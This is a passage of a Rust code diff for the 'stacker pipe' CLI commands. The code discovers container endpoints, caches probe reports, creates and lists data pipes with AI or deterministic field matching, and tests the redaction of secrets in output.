report.protocols_requested.join(",") + } + }) + .unwrap_or_else(|| "default".to_string()); + let capture_samples = run + .info + .parameters + .as_ref() + .and_then(|parameters| parameters.get("capture_samples")) + .and_then(|value| value.as_bool()) + .unwrap_or(false); + + let source = match run.source { + DiscoverySource::Cached => "cached", + DiscoverySource::Fresh => "fresh", + DiscoverySource::Synthetic => "synthetic", + }; + + format!( + "{} result (protocols: {}, capture_samples: {})", + source, requested, capture_samples + ) +} + +fn prepare_local_discovery( + _project_dir: &Path, + request: &PipeDiscoveryRequest, +) -> Result> { + let selector = request.selector.selector.as_str(); + let mut report = build_local_probe_report( + selector, + &discover_local_containers(Some(selector))?, + &request.protocols_requested, + request.capture_samples, + ); + enrich_probe_report_metadata(&mut report, selector, None, request); + local_report_to_agent_info(&report, request.capture_samples) +} + +fn run_remote_probe( + ctx: &CliRuntime, + request: &PipeDiscoveryRequest, + description: &str, +) -> Result> { + let deployment_hash = request.selector.deployment_hash.as_deref().ok_or_else(|| { + CliError::ConfigValidation("Remote discovery requires a deployment hash".to_string()) + })?; + let params = crate::forms::status_panel::ProbeEndpointsCommandRequest { + app_code: request.selector.selector.clone(), + container: request.selector.container.clone(), + protocols: request.protocols_requested.clone(), + probe_timeout: 5, + capture_samples: request.capture_samples, + }; + + let agent_request = AgentEnqueueRequest::new(deployment_hash, "probe_endpoints") + .with_parameters(¶ms) + .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?; + let info = run_agent_command(ctx, &agent_request, description, PROBE_TIMEOUT_SECS)?; + if info.status != "completed" { + return Ok(info); + } + + let mut report = decode_probe_report(&info)?; + enrich_probe_report_metadata( + &mut report, + &request.selector.selector, + request.selector.container.as_deref(), + request, + ); + with_probe_report(info, &report).map_err(Into::into) +} + +fn synthetic_transport_target_report( + request: &PipeDiscoveryRequest, +) -> ProbeEndpointsCommandReport { + let deployment_hash = request + .selector + .deployment_hash + .clone() + .unwrap_or_else(|| "local".to_string()); + + ProbeEndpointsCommandReport { + command_type: "probe_endpoints".to_string(), + deployment_hash, + app_code: request.selector.selector.clone(), + protocols_detected: Vec::new(), + protocols_requested: request.protocols_requested.clone(), + containers: Vec::new(), + endpoints: Vec::new(), + resources: Vec::new(), + forms: Vec::new(), + probe_attempts: vec![ProbeAttempt { + scope: if request.selector.mode == "local" { + "local_selector".to_string() + } else { + "remote_app".to_string() + }, + selector: Some(request.selector.selector.clone()), + container: request.selector.container.clone(), + protocols: request.protocols_requested.clone(), + outcome: "skipped_transport_target".to_string(), + }], + target_kind: Some("smtp".to_string()), + probed_at: Utc::now().to_rfc3339(), + } +} + +fn synthetic_transport_target_discovery( + request: &PipeDiscoveryRequest, +) -> Result> { + let report = synthetic_transport_target_report(request); + let info = probe_report_to_agent_info(&report, request.capture_samples)?; + Ok(DiscoveryRun { + info, + source: DiscoverySource::Synthetic, + }) +} + +fn cache_probe_if_completed( + project_dir: &Path, + request: &PipeDiscoveryRequest, + info: &AgentCommandInfo, +) -> Result<(), Box> { + if info.status != "completed" { + return Ok(()); + } + let report = decode_probe_report(info)?; + write_pipe_scan_cache(project_dir, request, &report)?; + Ok(()) +} + +fn load_or_run_discovery( + project_dir: &Path, + request: &PipeDiscoveryRequest, + fresh_scan: F, +) -> Result> +where + F: FnOnce() -> Result>, +{ + if let Some(info) = load_exact_pipe_scan_cache(project_dir, request)? { + return Ok(DiscoveryRun { + info, + source: DiscoverySource::Cached, + }); + } + if let Some(info) = load_latest_pipe_scan_cache(project_dir, &request.selector)? { + return Ok(DiscoveryRun { + info, + source: DiscoverySource::Cached, + }); + } + + let info = fresh_scan()?; + cache_probe_if_completed(project_dir, request, &info)?; + Ok(DiscoveryRun { + info, + source: DiscoverySource::Fresh, + }) +} + +#[cfg(test)] +mod selectable_operation_tests { + use super::*; + use serde_json::json; + use tempfile::tempdir; + + #[test] + fn extract_operations_includes_html_forms_and_container() { + let info = AgentCommandInfo { + command_id: "local".to_string(), + deployment_hash: "local".to_string(), + command_type: "probe_endpoints".to_string(), + status: "completed".to_string(), + priority: "normal".to_string(), + parameters: None, + result: Some(json!({ + "app_code": "website", + "protocols_detected": ["html_forms"], + "endpoints": [], + "resources": [], + "forms": [{ + "container": "local-website-1", + "id": "contact-form", + "action": "/contact", + "method": "POST", + "fields": ["name", "email"] + }] + })), + error: None, + created_at: String::new(), + updated_at: String::new(), + }; + let ops = extract_operations(&info); + assert_eq!(ops.len(), 1); + assert_eq!(ops[0].container.as_deref(), Some("local-website-1")); + assert_eq!(ops[0].method, "POST"); + assert_eq!(ops[0].path, "/contact"); + assert_eq!(ops[0].fields, vec!["name".to_string(), "email".to_string()]); + } + + fn sample_report(protocols_requested: Vec) -> ProbeEndpointsCommandReport { + ProbeEndpointsCommandReport { + command_type: "probe_endpoints".to_string(), + deployment_hash: "local".to_string(), + app_code: "status-panel-web".to_string(), + protocols_detected: protocols_requested.clone(), + protocols_requested, + containers: vec![], + endpoints: vec![], + resources: vec![], + forms: vec![ProbeForm { + container: Some("status-panel-web".to_string()), + id: "contact".to_string(), + action: "/contact".to_string(), + method: "POST".to_string(), + fields: vec!["name".to_string(), "email".to_string()], + }], + probe_attempts: vec![ProbeAttempt { + scope: "local_selector".to_string(), + selector: Some("status-panel-web".to_string()), + container: Some("status-panel-web".to_string()), + protocols: vec!["html_forms".to_string()], + outcome: "detected".to_string(), + }], + target_kind: Some("html_form".to_string()), + probed_at: "2026-05-01T00:00:00Z".to_string(), + } + } + + #[test] + fn exact_cache_round_trip_reuses_discovery_result() { + let dir = tempdir().expect("temp dir"); + let request = + PipeDiscoveryRequest::local("status-panel-web", &["html_forms".to_string()], true); + let report = sample_report(vec!["html_forms".to_string()]); + + write_pipe_scan_cache(dir.path(), &request, &report).expect("cache write should succeed"); + let cached = load_exact_pipe_scan_cache(dir.path(), &request) + .expect("cache read should succeed") + .expect("exact cache entry should exist"); + + assert_eq!(cached.status, "completed"); + let cached_report = decode_probe_report(&cached).expect("cached report should decode"); + assert_eq!(cached_report.protocols_requested, vec!["html_forms"]); + assert_eq!(cached_report.forms.len(), 1); + } + + #[test] + fn selector_cache_preserves_narrow_protocol_scope_for_create() { + let dir = tempdir().expect("temp dir"); + let narrow_request = + PipeDiscoveryRequest::local("status-panel-web", &["html_forms".to_string()], true); + let report = sample_report(vec!["html_forms".to_string()]); + write_pipe_scan_cache(dir.path(), &narrow_request, &report) + .expect("cache write should succeed"); + + let default_request = + PipeDiscoveryRequest::local("status-panel-web", &default_pipe_create_protocols(), true); + let cached_run = load_or_run_discovery(dir.path(), &default_request, || { + panic!("fresh scan should not run when selector cache exists") + }) + .expect("selector cache should be reused"); + + assert_eq!(cached_run.source, DiscoverySource::Cached); + let cached_report = + decode_probe_report(&cached_run.info).expect("cached selector report should decode"); + assert_eq!(cached_report.protocols_requested, vec!["html_forms"]); + assert_eq!(cached_report.forms[0].action, "/contact"); + } + + #[test] + fn unsupported_smtp_target_returns_actionable_guidance() { + let info = AgentCommandInfo { + command_id: "cached-smtp".to_string(), + deployment_hash: "local".to_string(), + command_type: "probe_endpoints".to_string(), + status: "completed".to_string(), + priority: "normal".to_string(), + parameters: Some(json!({ + "app_code": "smtp", + "protocols": ["html_forms"], + "capture_samples": true + })), + result: Some(json!({ + "type": "probe_endpoints", + "deployment_hash": "local", + "app_code": "smtp", + "protocols_detected": [], + "protocols_requested": ["html_forms"], + "containers": [], + "endpoints": [], + "resources": [], + "forms": [], + "probe_attempts": [{ + "scope": "local_selector", + "selector": "smtp", + "protocols": ["html_forms"], + "outcome": "empty" + }], + "target_kind": "smtp", + "probed_at": "2026-05-01T00:00:00Z" + })), + error: None, + created_at: String::new(), + updated_at: String::new(), + }; + + let message = + explain_no_selectable_operations("smtp", &info, &DeploymentContext::Local, "target"); + + assert!(message.contains("SMTP target")); + assert!(message.contains("HTTP-capable bridge/webhook target")); + assert!(message.contains("stacker pipe scan --containers smtp")); + } + + #[test] + fn smtp_target_discovery_is_synthetic_for_remote_targets() { + let request = PipeDiscoveryRequest::remote( + "deployment-123", + "smtp", + None, + &default_pipe_create_protocols(), + true, + ); + + let run = synthetic_transport_target_discovery(&request) + .expect("smtp transport target should synthesize discovery"); + let report = decode_probe_report(&run.info).expect("synthetic report should decode"); + + assert_eq!(run.source, DiscoverySource::Synthetic); + assert_eq!(run.info.status, "completed"); + assert_eq!(report.app_code, "smtp"); + assert_eq!(report.target_kind.as_deref(), Some("smtp")); + assert!(report.endpoints.is_empty()); + assert!(report.forms.is_empty()); + assert_eq!(report.probe_attempts[0].outcome, "skipped_transport_target"); + } + + #[test] + fn describe_discovery_run_labels_synthetic_results() { + let request = PipeDiscoveryRequest::local("smtp", &default_pipe_create_protocols(), true); + let run = synthetic_transport_target_discovery(&request) + .expect("smtp transport target should synthesize discovery"); + + let description = describe_discovery_run(&run); + + assert!(description.contains("synthetic")); + assert!(description.contains("protocols:")); + } + + #[test] + fn builtin_adapter_detection_resolves_source_and_target_roles() { + let source = builtin_adapter_for_selector("imap", PipeAdapterRole::Source) + .expect("imap source adapter should resolve"); + let target = builtin_adapter_for_selector("mailhog", PipeAdapterRole::Target) + .expect("mailhog smtp target adapter should resolve"); + + assert_eq!(source.code, "imap"); + assert_eq!(source.kind, PipeAdapterKind::ImapSource); + assert_eq!(target.code, "mailhog"); + assert_eq!(target.kind, PipeAdapterKind::SmtpTarget); + } + + #[test] + fn synthetic_adapter_operation_exposes_expected_mail_fields() { + let metadata = builtin_adapter_for_selector("smtp", PipeAdapterRole::Target) + .expect("smtp target adapter should resolve"); + let operation = synthetic_adapter_operation(&metadata); + + assert!(operation.adapter.is_some()); + assert_eq!(operation.method, "SEND"); + assert_eq!(operation.path, "adapter:smtp"); + assert!(operation.fields.contains(&"subject".to_string())); + assert!(operation.fields.contains(&"body_text".to_string())); + } + + #[test] + fn redact_sensitive_json_masks_adapter_secrets() { + let mut value = serde_json::json!({ + "instance": { + "target_adapter": { + "code": "smtp", + "config": { + "host": "smtp.example.com", + "password": "supersecret", + "api_key": "key-123" + } + } + } + }); + + redact_sensitive_json(&mut value); + + assert_eq!( + value["instance"]["target_adapter"]["config"]["password"], + "[REDACTED]" + ); + assert_eq!( + value["instance"]["target_adapter"]["config"]["api_key"], + "[REDACTED]" + ); + assert_eq!( + value["instance"]["target_adapter"]["config"]["host"], + "smtp.example.com" + ); + } +} + +impl CallableTrait for PipeCreateCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + let (ctx, deploy_ctx) = + match resolve_local_deployment_context(&self.deployment, &project_dir)? { + Some(local_ctx) => (None, local_ctx), + None => { + let ctx = CliRuntime::new("pipe create")?; + let deploy_ctx = resolve_deployment_context(&self.deployment, &ctx)?; + (Some(ctx), deploy_ctx) + } + }; + let prefix = mode_prefix(&deploy_ctx); + let local_mode = deploy_ctx.is_local(); + let hash = match &deploy_ctx { + DeploymentContext::Remote(h) => Some(h.clone()), + DeploymentContext::Local => None, + }; + let create_protocols = default_pipe_create_protocols(); + + let source_adapter_meta = + builtin_adapter_for_selector(&self.source, PipeAdapterRole::Source); + let target_adapter_meta = + builtin_adapter_for_selector(&self.target, PipeAdapterRole::Target); + + let source_run = if source_adapter_meta.is_none() { + Some(if local_mode { + println!( + "{}Preparing local discovery for source '{}'...", + prefix, self.source + ); + let source_request = + PipeDiscoveryRequest::local(&self.source, &create_protocols, true); + load_or_run_discovery(&project_dir, &source_request, || { + prepare_local_discovery(&project_dir, &source_request) + })? + } else { + let ctx = ctx.as_ref().expect("remote runtime"); + let remote_hash = hash.clone().expect("remote hash"); + println!("Preparing discovery for source app '{}'...", self.source); + let source_request = PipeDiscoveryRequest::remote( + &remote_hash, + &self.source, + None, + &create_protocols, + true, + ); + load_or_run_discovery(&project_dir, &source_request, || { + run_remote_probe( + &ctx, + &source_request, + &format!("Scanning source: {}", self.source), + ) + })? + }) + } else { + None + }; + let target_run = if target_adapter_meta.is_none() { + Some(if local_mode { + println!( + "{}Preparing local discovery for target '{}'...", + prefix, self.target + ); + let target_request = + PipeDiscoveryRequest::local(&self.target, &create_protocols, true); + load_or_run_discovery(&project_dir, &target_request, || { + prepare_local_discovery(&project_dir, &target_request) + })? + } else { + let ctx = ctx.as_ref().expect("remote runtime"); + let remote_hash = hash.clone().expect("remote hash"); + println!("Preparing discovery for target app '{}'...", self.target); + let target_request = PipeDiscoveryRequest::remote( + &remote_hash, + &self.target, + None, + &create_protocols, + true, + ); + load_or_run_discovery(&project_dir, &target_request, || { + run_remote_probe( + &ctx, + &target_request, + &format!("Scanning target: {}", self.target), + ) + })? + }) + } else { + None + }; + + if let Some(run) = &source_run { + println!(" Source discovery: {}", describe_discovery_run(run)); + } else if let Some(metadata) = &source_adapter_meta { + println!( + " Source adapter: {} ({})", + metadata.display_name, metadata.code + ); + } + if let Some(run) = &target_run { + println!(" Target discovery: {}", describe_discovery_run(run)); + } else if let Some(metadata) = &target_adapter_meta { + println!( + " Target adapter: {} ({})", + metadata.display_name, metadata.code + ); + } + + if source_run + .as_ref() + .is_some_and(|run| run.info.status != "completed") + || target_run + .as_ref() + .is_some_and(|run| run.info.status != "completed") + { + eprintln!("Scan failed for one or both apps. Cannot create pipe."); + if let Some(run) = &source_run { + if run.info.status != "completed" { + eprintln!(" Source '{}': {}", self.source, run.info.status); + } + } + if let Some(run) = &target_run { + if run.info.status != "completed" { + eprintln!(" Target '{}': {}", self.target, run.info.status); + } + } + return Ok(()); + } + + // Step 2: Extract discovered endpoints + let source_ops = if let Some(metadata) = &source_adapter_meta { + vec![synthetic_adapter_operation(metadata)] + } else { + extract_operations(&source_run.as_ref().expect("source discovery").info) + }; + let target_ops = if let Some(metadata) = &target_adapter_meta { + vec![synthetic_adapter_operation(metadata)] + } else { + extract_operations(&target_run.as_ref().expect("target discovery").info) + }; + + if source_ops.is_empty() { + eprintln!( + "{}", + explain_no_selectable_operations( + &self.source, + &source_run.as_ref().expect("source discovery").info, + &deploy_ctx, + "source", + ) + ); + return Ok(()); + } + if target_ops.is_empty() { + eprintln!( + "{}", + explain_no_selectable_operations( + &self.target, + &target_run.as_ref().expect("target discovery").info, + &deploy_ctx, + "target", + ) + ); + return Ok(()); + } + + // Step 3: Let user select source endpoint + let source_idx = if source_ops.len() == 1 { + println!( + "\n Using source {}", + operation_label(source_ops.first().expect("single source op")) + ); + 0 + } else { + let source_labels = operation_labels(&source_ops); + println!("\n Select source endpoint (data comes FROM here):"); + dialoguer::Select::new() + .items(&source_labels) + .default(0) + .interact()? + }; + let src_op = &source_ops[source_idx]; + let src_method = &src_op.method; + let src_path = &src_op.path; + let src_fields = &src_op.fields; + let src_sample = &src_op.sample; + + // Step 4: Let user select target endpoint + let target_idx = if target_ops.len() == 1 { + println!( + "\n Using target {}", + operation_label(target_ops.first().expect("single target op")) + ); + 0 + } else { + let target_labels = operation_labels(&target_ops); + println!("\n Select target endpoint (data goes TO here):"); + dialoguer::Select::new() + .items(&target_labels) + .default(0) + .interact()? + }; + let tgt_op = &target_ops[target_idx]; + let tgt_method = &tgt_op.method; + let tgt_path = &tgt_op.path; + let tgt_fields = &tgt_op.fields; + + // Step 5: Build field mapping (smart matching with sample data) + let (field_mapping, match_result) = if !self.manual + && !src_fields.is_empty() + && !tgt_fields.is_empty() + { + let matcher = select_field_matcher(self.ai, self.no_ai, self.ml); + let result = matcher.match_fields(src_fields, tgt_fields, src_sample.as_ref()); + let mode_label = match result.mode { + crate::cli::field_matcher::MatchingMode::Ai => "AI", + crate::cli::field_matcher::MatchingMode::Deterministic => "deterministic", + crate::cli::field_matcher::MatchingMode::Ml => "ML", + }; + println!( + "\n Auto-matching fields ({} mode, source → target):", + mode_label + ); + + let matched: Vec = result + .mapping + .as_object() + .map(|m| { + m.iter() + .map(|(k, v)| { + let src = v.as_str().unwrap_or("?"); + let conf = result.confidence.get(k).copied().unwrap_or(1.0); + if conf < 1.0 { + format!(" {} ← {} (confidence: {:.0}%) ✓", k, src, conf * 100.0) + } else { + format!(" {} ← {} ✓", k, src) + } + }) + .collect() + }) + .unwrap_or_default(); + + for line in &matched { + println!("{}", line); + } + + // Show transformation suggestions from AI + for suggestion in &result.suggestions { + println!( + " 💡 {}: {} — {}", + suggestion.target_field, suggestion.expression, suggestion.description + ); + } + + // Show unmatched target fields + let matched_keys: Vec<&str> = result + .mapping + .as_object() + .map(|m| m.keys().map(|k| k.as_str()).collect()) + .unwrap_or_default(); + let unmatched: Vec<&String> = tgt_fields + .iter() + .filter(|f| !matched_keys.contains(&f.as_str())) + .collect(); + if !unmatched.is_empty() { + println!( + " Unmatched target fields: {}", + unmatched + .iter() + .map(|s| s.as_str()) + .collect::>() + .join(", ") + ); + println!(" (You can edit the field mapping later via the API)"); + } + + if matched_keys.is_empty() { + println!(" No auto-matches found. Creating pass-through mapping."); + let mut pass = serde_json::Map::new(); + for sf in src_fields { + pass.insert(sf.clone(), serde_json::Value::String(format!("$.{}", sf))); + } + (serde_json::Value::Object(pass), Some(result)) + } else { + let mapping = result.mapping.clone(); + (mapping, Some(result)) + } + } else { + // Manual mode or no fields discovered + println!("\n No field auto-matching available. Creating identity mapping."); + (serde_json::json!({}), None) + }; + + // Step 6: Ask for pipe name + let default_name = format!("{}-to-{}", self.source, self.target); + let pipe_name: String = dialoguer::Input::new() + .with_prompt("Pipe name") + .default(default_name) + .interact_text()?; + + // Step 7: Create template via API — include matching metadata in config + let mut config = serde_json::json!({"retry_count": 3}); + if let Some(ref result) = match_result { + config["matching_mode"] = serde_json::Value::String(result.mode.to_string()); + if !result.confidence.is_empty() { + let conf_map: serde_json::Map = result + .confidence + .iter() + .map(|(k, v)| (k.clone(), serde_json::json!(v))) + .collect(); + config["field_confidence"] = serde_json::Value::Object(conf_map); + } + if !result.suggestions.is_empty() { + config["transformations"] = serde_json::json!(result + .suggestions + .iter() + .map(|s| { + serde_json::json!({ + "target": s.target_field, + "expr": s.expression, + "description": s.description, + }) + }) + .collect::>()); + } + } + + let template_request = CreatePipeTemplateApiRequest { + name: pipe_name.clone(), + description: Some(format!( + "{} {} → {} {}", + src_method, src_path, tgt_method, tgt_path + )), + source_app_type: self.source.clone(), + source_endpoint: template_endpoint_for_operation(src_op), + target_app_type: self.target.clone(), + target_endpoint: template_endpoint_for_operation(tgt_op), + target_external_url: None, + field_mapping: field_mapping.clone(), + config: Some(config), + is_public: Some(false), + }; + + let source_container_name = if let Some(adapter) = &src_op.adapter { + adapter.code.clone() + } else if local_mode { + local_container_for_operation(src_op, &self.source) + } else { + self.source.clone() + }; + let local_target_container_name = if tgt_op.adapter.is_some() { + None + } else if local_mode { + Some(local_container_for_operation(tgt_op, &self.target)) + } else { + Some(self.target.clone()) + }; + let (source_adapter, _) = if let Some(metadata) = &src_op.adapter { + prompt_adapter_reference(metadata)? + } else { + (PipeAdapterReference::new(""), None) + }; + let source_adapter = src_op.adapter.as_ref().map(|_| source_adapter); + let (target_adapter, adapter_target_url) = if let Some(metadata) = &tgt_op.adapter { + prompt_adapter_reference(metadata)? + } else { + (PipeAdapterReference::new(""), None) + }; + let target_adapter = tgt_op.adapter.as_ref().map(|_| target_adapter); + let target_url = if target_adapter.is_some() { + adapter_target_url + } else { + None + }; + + if local_mode { + let store = LocalPipeStore::new(&project_dir); + let mut notes = Vec::new(); + if let Some(run) = &source_run { + notes.push(format!("source discovery: {}", describe_discovery_run(run))); + } + if let Some(run) = &target_run { + notes.push(format!("target discovery: {}", describe_discovery_run(run))); + } + + let local_pipe = LocalPipeDocument::draft(NewLocalPipeDocument { + name: pipe_name.clone(), + source: LocalPipeBinding { + selector: self.source.clone(), + container: src_op.container.clone(), + adapter: source_adapter.clone(), + method: src_method.clone(), + path: src_path.clone(), + fields: src_fields.clone(), + }, + target: LocalPipeBinding { + selector: self.target.clone(), + container: tgt_op.container.clone(), + adapter: target_adapter.clone(), + method: tgt_method.clone(), + path: tgt_path.clone(), + fields: tgt_fields.clone(), + }, + template: LocalPipeTemplate { + description: template_request.description.clone(), + source_app_type: template_request.source_app_type.clone(), + source_endpoint: template_request.source_endpoint.clone(), + target_app_type: template_request.target_app_type.clone(), + target_endpoint: template_request.target_endpoint.clone(), + target_external_url: template_request.target_external_url.clone(), + field_mapping: template_request.field_mapping.clone(), + config: template_request.config.clone(), + is_public: template_request.is_public.unwrap_or(false), + }, + instance: LocalPipeInstance { + source_adapter: source_adapter.clone(), + source_container: source_container_name.clone(), + target_adapter: target_adapter.clone(), + target_container: local_target_container_name.clone(), + target_url: target_url.clone(), + field_mapping_override: None, + config_override: None, + trigger_count: 0, + error_count: 0, + last_triggered_at: None, + }, + diagnostics: LocalPipeDiagnostics { notes }, + })?; + let path = store.save_new(&local_pipe)?; + + if self.json { + let mut output = serde_json::json!({ + "local": true, + "path": path.display().to_string(), + "pipe": local_pipe, + }); + redact_sensitive_json(&mut output); + println!("{}", serde_json::to_string_pretty(&output)?); + } else { + println!( + "\n {}✓ Local pipe '{}' created successfully", + prefix, pipe_name + ); + println!(" Local ID: {}", local_pipe.id); + println!(" File: {}", path.display()); + println!( + " Source: {} ({})", + local_pipe.source_display(), + src_path + ); + println!( + " Target: {} ({})", + local_pipe.target_display(), + tgt_path + ); + println!(" Status: {}", local_pipe.status); + println!(" Mapping: {}", serde_json::to_string(&field_mapping)?); + println!( + " Promote: stacker pipe deploy {} ", + local_pipe.id + ); + } + + return Ok(()); + } + + let ctx = ctx.as_ref().expect("remote runtime"); + let pb = progress::spinner("Creating pipe template..."); + let template = ctx + .block_on(ctx.client.create_pipe_template(&template_request)) + .map_err(|e| { + progress::finish_error(&pb, "Template creation failed"); + e + })?; + progress::finish_success(&pb, "Template created"); + + let instance_request = CreatePipeInstanceApiRequest { + deployment_hash: hash.clone(), + source_adapter, + source_container: source_container_name.clone(), + target_adapter, + target_container: local_target_container_name.clone(), + target_url: target_url.clone(), + template_id: Some(template.id.clone()), + field_mapping_override: None, + config_override: None, + }; + + let pb = progress::spinner("Creating pipe instance..."); + let instance = ctx + .block_on(ctx.client.create_pipe_instance(&instance_request)) + .map_err(|e| { + progress::finish_error(&pb, "Instance creation failed"); + e + })?; + progress::finish_success(&pb, "Pipe instance created"); + + if self.json { + let mut output = serde_json::json!({ + "template": template, + "instance": instance, + "local": false, + }); + redact_sensitive_json(&mut output); + println!("{}", serde_json::to_string_pretty(&output)?); + } else { + println!("\n ✓ Pipe '{}' created successfully", pipe_name); + println!(" Template ID: {}", template.id); + println!(" Instance ID: {}", instance.id); + let source_display = src_op + .adapter + .as_ref() + .map(|metadata| format!("{} adapter", metadata.code)) + .unwrap_or_else(|| source_container_name.clone()); + let target_display = tgt_op + .adapter + .as_ref() + .map(|metadata| format!("{} adapter", metadata.code)) + .or_else(|| local_target_container_name.clone()) + .or(target_url.clone()) + .unwrap_or_else(|| self.target.clone()); + println!(" Source: {} ({})", source_display, src_path); + println!(" Target: {} ({})", target_display, tgt_path); + println!( + " Status: {} (use 'stacker pipe activate {}' to start)", + instance.status, instance.id + ); + println!(" Mapping: {}", serde_json::to_string(&field_mapping)?); + } + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// stacker pipe list — list active pipes for a deployment +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct PipeListCommand { + pub json: bool, + pub deployment: Option, +} + +impl PipeListCommand { + pub fn new(json: bool, deployment: Option) -> Self { + Self { json, deployment } + } +} + +impl CallableTrait for PipeListCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + if let Some(deploy_ctx) = resolve_local_deployment_context(&self.deployment, &project_dir)? + { + let prefix = mode_prefix(&deploy_ctx); + let pb = progress::spinner(&format!("{}Fetching pipes...", prefix)); + let store = LocalPipeStore::new(&project_dir); + let pipes = store.list().map_err(|e| { + progress::finish_error(&pb, "Failed to fetch local pipes"); + e + })?; + progress::finish_success(&pb, &format!("{}{} pipe(s) found", prefix, pipes.len())); + + if pipes.is_empty() { + println!("No pipes configured for this deployment."); + println!("Use 'stacker pipe create ' to create a pipe."); + return Ok(()); + } + + if self.json { + let mut output = serde_json::to_value(&pipes)?; + redact_sensitive_json(&mut output); + println!("{}", serde_json::to_string_pretty(&output)?); + return Ok(()); + } + + println!( + "\n{:<38} {:<15} {:<15} {:<10} {:>8} {:>8} {}", + "ID", "SOURCE", "TARGET", "STATUS", "TRIGGERS", "ERRORS", "LAST TRIGGERED" + ); + println!("{}", "─".repeat(120)); + + for pipe in &pipes { + let last = pipe + .instance + .last_triggered_at + .as_deref() + .unwrap_or("never"); + let status_icon = match pipe.status.as_str() { + "active" => "● active", + "paused" => "◉ paused", + "error" => "✗ error", + _ => "○ draft", + }; + + println!( + "{:<38} {:<15} {:<15} {:<10} {:>8} {:>8} {}", + &pipe.id, + truncate_str(pipe.source_display(), 14), + truncate_str(pipe.target_display(), 14), + status_icon, + pipe.instance.trigger_count, + pipe.instance.error_count, + last, + ); + } + + println!("\n{} pipe(s) total.", pipes.len()); + return Ok(()); + } + + let ctx = CliRuntime::new("pipe list")?; + let deploy_ctx = resolve_deployment_context(&self.deployment, &ctx)?; + let prefix = mode_prefix(&deploy_ctx); + let hash = match &deploy_ctx { + DeploymentContext::Remote(hash) => hash, + DeploymentContext::Local => unreachable!("local mode handled above"), + }; + + let pb = progress::spinner(&format!("{}Fetching pipes...", prefix)); + let pipes = ctx + .block_on(ctx.client.list_pipe_instances(hash)) + .map_err(|e| { + progress::finish_error(&pb, "Failed to fetch pipes"); + e + })?; + progress::finish_success(&pb, &format!("{}{} pipe(s) found", prefix, pipes.len())); + + if pipes.is_empty() { + println!("No pipes configured for this deployment."); + println!("Use 'stacker pipe create ' to create a pipe."); + return Ok(()); + } + + if self.json { + let mut output = serde_json::to_value(&pipes)?; + redact_sensitive_json(&mut output); + println!("{}", serde_json::to_string_pretty(&output)?); + return Ok(()); + } + + println!( + "\n{:<38} {:<15} {:<15} {:<10} {:>8} {:>8} {}", + "ID", "SOURCE", "TARGET", "STATUS", "TRIGGERS", "ERRORS", "LAST TRIGGERED" + ); + println!("{}", "─".repeat(120)); + + for pipe in &pipes { + let source = pipe + .source_adapter + .as_ref() + .map(|adapter| adapter.code.as_str()) + .unwrap_or(&pipe.source_container); + let target = pipe + .target_adapter + .as_ref() + .map(|adapter| adapter.code.as_str()) + .or(pipe.target_container.as_deref()) + .or(pipe.target_url.as_deref()) + .unwrap_or("-"); + let last = pipe.last_triggered_at.as_deref().unwrap_or("never"); + let status_icon = match pipe.status.as_str() { + "active" => "● active", + "paused" => "◉ paused", + "error" => "✗ error", + _ => "○ draft", + }; + + println!( + "{:<38} {:<15} {:<15} {:<10} {:>8} {:>8} {}", + &pipe.id, + truncate_str(source, 14), + truncate_str(target, 14), + status_icon, + pipe.trigger_count, + pipe.error_count, + last, + ); + } + + println!("\n{} pipe(s) total.", pipes.len()); + Ok(()) + } +} + +fn truncate_str(s: &str, max: usize) -> String { + if s.len() <= max { + s.to_string() + } else { + format!("{}…", &s[..max - 1]) + } +} + +fn pipe_template_matches_request( + existing: &CreatePipeTemplateApiRequest, + candidate: &PipeTemplateInfo, +) -> bool { + candidate.description == existing.description + && candidate.source_app_type == existing.source_app_type + && candidate.source_endpoint == existing.source_endpoint + && candidate.target_app_type == existing.target_app_type + && candidate.target_endpoint == existing.target_endpoint + && candidate.target_external_url == existing.target_external_url + && candidate.field_mapping == existing.field_mapping + && candidate.config == existing.config + && candidate.is_public.unwrap_or(false) == existing.is_public.unwrap_or(false) +} + +fn find_reusable_pipe_template( + templates: &[PipeTemplateInfo], + request: &CreatePipeTemplateApiRequest, +) -> Result, CliError> { + let Some(existing) = templates + .iter() + .find(|template| template.name == request.name) + else { + return Ok(None); + }; + + if pipe_template_matches_request(request, existing) { + Ok(Some(existing.clone())) + } else { + Err(CliError::ConfigValidation(format!( + "Remote pipe template '{}' already exists with a different definition. Rename the local pipe or update the remote template before deploying.", + request.name + ))) + } +} + +/// Select the appropriate field matcher based on CLI flags and stacker.yml config. +/// +/// Priority: +/// 1. `--ai` flag → AI matcher (error if AI not configured) +/// 2. `--no-ai` flag → deterministic matcher +/// 3. Neither flag → check `stacker.yml` ai.enabled; if true → AI, else → deterministic +fn select_field_matcher( + force_ai: bool, + force_no_ai: bool, + force_ml: bool, +) -> Box { + if force_ml { + return Box::new(crate::cli::ml_field_matcher::MlFieldMatcher::new()); + } + + if force_no_ai { + return Box::new(DeterministicFieldMatcher); + } + + let use_ai = if force_ai { + true + } else { + // Try to read stacker.yml to check ai.enabled + let project_dir = std::env::current_dir().unwrap_or_default(); + let config_path = project_dir.join("stacker.yml"); + if config_path.exists() { + crate::cli::config_parser::StackerConfig::from_file(&config_path) + .map(|c| c.ai.enabled) + .unwrap_or(false) + } else { + false + } + }; + + if use_ai { + // Try to create AI matcher; fall back to deterministic on failure + let project_dir = std::env::current_dir().unwrap_or_default(); + let config_path = project_dir.join("stacker.yml"); + let ai_config = config_path + .exists() + .then(|| { + crate::cli::config_parser::StackerConfig::from_file(&config_path) + .ok() + .map(|c| c.ai) + }) + .flatten(); + + if let Some(config) = ai_config { + match crate::cli::ai_field_matcher::AiFieldMatcher::new(&config) { + Ok(matcher) => return Box::new(matcher), + Err(e) => { + eprintln!( + " ⚠ AI matcher unavailable ({}), falling back to deterministic", + e + ); + } + } + } else if force_ai { + eprintln!( + " ⚠ --ai flag set but no ai: config in stacker.yml, falling back to deterministic" + ); + } + } + + Box::new(DeterministicFieldMatcher) +} + +fn example_local_trigger_command(pipe_id: &str) -> String { + format!( + "stacker pipe trigger {} --data '{}'", + pipe_id, + 